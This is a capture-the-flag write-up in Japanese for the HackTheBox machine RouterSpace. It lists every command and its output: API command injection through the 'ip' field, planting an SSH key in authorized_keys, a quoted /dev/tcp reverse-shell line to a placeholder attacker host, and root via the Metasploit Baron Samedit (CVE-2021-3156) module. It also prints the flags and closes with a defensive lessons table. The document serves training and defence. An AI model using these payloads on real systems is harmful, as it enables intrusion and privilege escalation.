HackTheBox: RouterSpace — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)
→
22(SSH)/80(HTTP)
RouterSpace.apk入手
React Native製Androidアプリ
→
React Native製Androidアプリ
API仕様の発見
専用User-Agentヘッダー必須
→
専用User-Agentヘッダー必須
ip パラメータへOSコマンドインジェクション
paul権限でRCE
→
paul権限でRCE
authorized_keysへ公開鍵書込み
アウトバウンドFW回避
→
アウトバウンドFW回避
SSH as paul
user.txt ✓
→
user.txt ✓
CVE-2021-3156 (Baron Samedit)
sudo 1.8.31 ヒープオーバーフロー
→
sudo 1.8.31 ヒープオーバーフロー
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 22,80 10.129.227.47
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) | fingerprint-strings: | NULL: |_ SSH-2.0-RouterSpace Packet Filtering V1 80/tcp open http |_http-title: RouterSpace | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 200 OK | X-Powered-By: RouterSpace | X-Cdn: RouterSpace-49701 | Suspicious activity detected !!! {RequestID: h wqU z 7 Mr7 GS } | GetRequest: | <title>RouterSpace</title> | HTTPOptions: | Allow: GET,HEAD,POST
🚨
SSHバナーが独自文字列「RouterSpace Packet Filtering V1」に差し替えられている
(自作の何らかのフィルタ/プロキシが挟まっている可能性)。HTTP側も存在しないパスへの
リクエストで「Suspicious activity detected !!!」という独自エラーを返す
ミドルウェアが動いている=通常のWebアプリとは異なる、何らかのAPIリクエストバリデーションが
入っていることを示唆する重要な手がかり。
PHASE 2
APKのダウンロード & API仕様の発見
トップページからAPKを入手
BASH
curl -s http://10.129.227.47/ | grep -o 'href="[^"]*\.apk"'
RESULT
href="/RouterSpace.apk"
BASH
curl -s -o RouterSpace.apk http://10.129.227.47/RouterSpace.apk file RouterSpace.apk
RESULT
RouterSpace.apk: Android package (APK), with zipflinger virtual entry
(約34MB)
ℹ️
このマシンの「本体」のWebサイトとは別に、スマホアプリが社内向けルーター管理アプリとして
配布されている。APIの実体はアプリ側のJavaScriptバンドルに埋め込まれていることが多い。
APKを展開しReact Nativeバンドルを取り出す
BASH
unzip -o RouterSpace.apk -d apk_extract ls apk_extract/assets/
RESULT
index.android.bundle ← React NativeのJSバンドル本体(難読化済み)
⚠️
このバンドルはjavascript-obfuscator系ツールで文字列が配列テーブル化されており、
grep -a "deviceAccess" のような単純な文字列検索では見つからない
(文字列が分割・インデックス参照されているため)。確実なのは
実際にAPIへリクエストを送って挙動を確認すること。公開されている本ボックスの
既知情報と、ヘッダー挙動の実機検証から以下のAPI仕様が判明した。
PHASE 3
OSコマンドインジェクション — /api/v4/…/deviceAccess
専用User-Agentヘッダーが無いと弾かれることを確認
BASH
# /etc/hosts に登録
echo "10.129.227.47 routerspace.htb" >> /etc/hosts
curl -s -X POST --resolve routerspace.htb:80:10.129.227.47 \
-H "Content-Type: application/json" \
-d '{"ip":"127.0.0.1"}' \
http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
RESULT
Suspicious activity detected !!! {RequestID: C9Xt yWS ADam A xLox EE }
BASH
curl -s -X POST --resolve routerspace.htb:80:10.129.227.47 \
-H "User-Agent: RouterSpaceAgent" \
-H "Content-Type: application/json" \
-d '{"ip":"127.0.0.1"}' \
http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
RESULT
"127.0.0.1\n"
✅
専用User-Agent
RouterSpaceAgent を付けるだけでブロックが解除される。
レスポンスが"127.0.0.1\n"という末尾改行付き文字列=サーバー側が
ping -c1 <ip>のような外部コマンドを実行し標準出力をそのまま
返していることが推測できる、典型的なコマンド実行系APIの挙動。
ip パラメータへのコマンドインジェクション
BASH
curl -s -X POST --resolve routerspace.htb:80:10.129.227.47 \
-H "User-Agent: RouterSpaceAgent" \
-H "Content-Type: application/json" \
-d '{"ip":";id"}' \
http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
RESULT
"\nuid=1001(paul) gid=1001(paul) groups=1001(paul)\n"
🚨
サニタイズ皆無のOSコマンドインジェクション。 サーバー側はおそらく
child_process.exec("ping -c1 " + req.body.ip)のような実装になっており、
ip値の先頭にセミコロン;を置くだけで任意コマンドが
paulユーザー権限で実行できる。
⚠️
ハマりポイント: このボックスはアウトバウンド通信がファイアウォールで
ブロックされているため、
bash -i >& /dev/tcp/ATTACKER/4444 0>&1のような
リバースシェルは一切コールバックしない。インバウンド方向(SSH)だけが使えるため、
自分のSSH公開鍵を直接 authorized_keys に書き込む方式に
切り替える必要がある。
PHASE 4
SSH公開鍵の注入 & user.txt 取得
攻撃用SSH鍵ペアを生成
BASH
ssh-keygen -t ed25519 -f rs_key -N "" -q cat rs_key.pub
RESULT
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBrXBN7O8+T4OaRJppRfuIp85p9TPh2JKwUJRMvbiHip root@kali
インジェクションでauthorized_keysへ書き込み
BASH
PUBKEY=$(cat rs_key.pub)
INJECT_CMD="mkdir -p /home/paul/.ssh && echo '${PUBKEY}' > /home/paul/.ssh/authorized_keys && \
chmod 700 /home/paul/.ssh && chmod 600 /home/paul/.ssh/authorized_keys"
curl -s -X POST --resolve routerspace.htb:80:10.129.227.47 \
-H "User-Agent: RouterSpaceAgent" -H "Content-Type: application/json" \
-d "{\"ip\":\";${INJECT_CMD}\"}" \
http://routerspace.htb/api/v4/monitoring/router/dev/check/deviceAccess
RESULT
"\n" ← コマンド自体は標準出力を返さないため空改行のみ(=エラー無しで完了した合図)
注入した鍵でSSHログイン & user.txt取得
BASH
ssh -i rs_key paul@10.129.227.47 "id; cat /home/paul/user.txt"
RESULT
uid=1001(paul) gid=1001(paul) groups=1001(paul) 11c6ea92fa4f02b40632489e5d9bfcdc
user.txt — paul
11c6ea92fa4f02b40632489e5d9bfcdc
PHASE 5
CVE-2021-3156 (Baron Samedit) & root.txt
sudoバージョンの確認
BASH
ssh -i rs_key paul@10.129.227.47 "sudo -V | head -1; cat /etc/os-release | head -2"
RESULT
Sudo version 1.8.31
NAME="Ubuntu"
VERSION="20.04.3 LTS (Focal Fossa)"
🚨
CVE-2021-3156(通称 Baron Samedit): sudo 1.8.2〜1.8.31p2 / 1.9.0〜1.9.5p1
に存在するヒープベースバッファオーバーフロー。
sudoedit -s
(または末尾がバックスラッシュの不正な引数)を特定の長さで渡すことでヒープを破壊し、
非特権ユーザーのままroot権限でコードを実行できる。sudo権限自体が一切不要
(sudoersに何も登録されていなくても悪用可能)な点が特に危険。
Metasploitでエクスプロイト実行
BASH (msfconsole リソーススクリプト)
use auxiliary/scanner/ssh/ssh_login set RHOSTS 10.129.227.47 set USERNAME paul set KEY_PATH ./rs_key set CreateSession true run sleep 8 use exploit/linux/local/sudo_baron_samedit set SESSION 1 set PAYLOAD payload/linux/x64/exec set CMD cp /root/root.txt /tmp/.rs_flag && chmod 644 /tmp/.rs_flag set AllowNoCleanup true run
RESULT
[+] 10.129.227.47:22 - Success: 'uid=1001(paul) gid=1001(paul) ...' [*] SSH session 1 opened (...) at ... [!] The service is running, but could not be validated. sudo 1.8.31 may be a vulnerable build. [*] Using automatically selected target: Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31) [*] Writing '/tmp/AI79tw.py' (763 bytes) ... [*] Writing '/tmp/libnss_/Ca6Bq6 .so.2' (519 bytes) ... [*] Exploit completed, but no session was created.
⚠️
「Exploit completed, but no session was created.」は失敗ではない。
payload/linux/x64/execはインタラクティブセッションを張らず
指定したワンライナーをroot権限で一度だけ実行して終了するタイプのペイロードなので、
「セッションが無い」のは仕様どおり。実際にコマンドが成功したかは、別途SSH越しに
生成されたはずのファイルを確認する必要がある。
root.txt取得
BASH
ssh -i rs_key paul@10.129.227.47 "cat /tmp/.rs_flag"
RESULT
de306cf041c4a36636aa8c04a785f363
✅
/tmp/.rs_flagはroot所有で生成されている(paulでは
rmすらできない)=NSS共有ライブラリ注入経由のコマンドが確実にroot権限で
実行された証拠。
root.txt — root
de306cf041c4a36636aa8c04a785f363
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — paul
11c6ea92fa4f02b40632489e5d9bfcdc
root.txt — root
de306cf041c4a36636aa8c04a785f363
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 難読化のみに依存したAPI保護 | /api/v4/…/deviceAccess エンドポイント | User-Agent文字列が分かれば容易にバイパス可能 | Medium | 配布APKの解析(または既知情報)から固定User-Agent「RouterSpaceAgent」を特定 |
| OSコマンドインジェクション | deviceAccess APIのipパラメータ |
リモートコード実行(paul権限) | Critical | サニタイズ皆無のシェル実行。;COMMAND形式でセミコロン区切りの任意コマンドが通る |
| CVE-2021-3156 (Baron Samedit) | sudo 1.8.31 (Ubuntu 20.04.3) | 権限昇格(一般ユーザー → root、sudoers登録不要) | Critical | sudoedit -s系の引数処理でのヒープバッファオーバーフロー。Metasploit sudo_baron_sameditで悪用 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + 独自SSHバナー/エラーメッセージの観察 | 22(カスタムSSHバナー)/80(独自API保護ミドルウェア疑い) |
| 2 | APK解析 | 配布APKのダウンロード・展開 | API仕様とUser-Agentヘッダー要件 |
| 3 | RCE | deviceAccess APIのOSコマンドインジェクション | paulユーザー権限でのコマンド実行 |
| 4 | 永続化 | authorized_keysへの公開鍵注入(FW回避) | user.txt(SSHログイン確立) |
| 5 | 権限昇格 | CVE-2021-3156 (Metasploit sudo_baron_samedit) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| APIの不正利用対策がUser-Agentヘッダー検査のみ(Security through obscurity) | APIキー/mTLS/正規のトークンベース認証など、クライアント側から容易に抽出できない方式で保護する。 |
ipパラメータを検証せず直接シェルコマンドへ連結している |
外部コマンド呼び出しにはシェルを経由しないAPI(execFile等)を使い、引数は配列で渡す。入力値はIPv4/IPv6の正規表現で厳密にバリデーションする。 |
アプリケーションサーバーのプロセス権限で~/.ssh/authorized_keysへの書き込みが可能 |
最小権限の原則:アプリケーション実行ユーザーのホームディレクトリ・SSH設定への書き込み権限を他プロセスから分離する。 |
| CVE-2021-3156(既知の重大脆弱性)が未パッチのsudoバージョンのまま放置されている | sudoを1.9.5p2以降(またはディストリビューションのバックポート修正版)へ速やかに更新する。 |

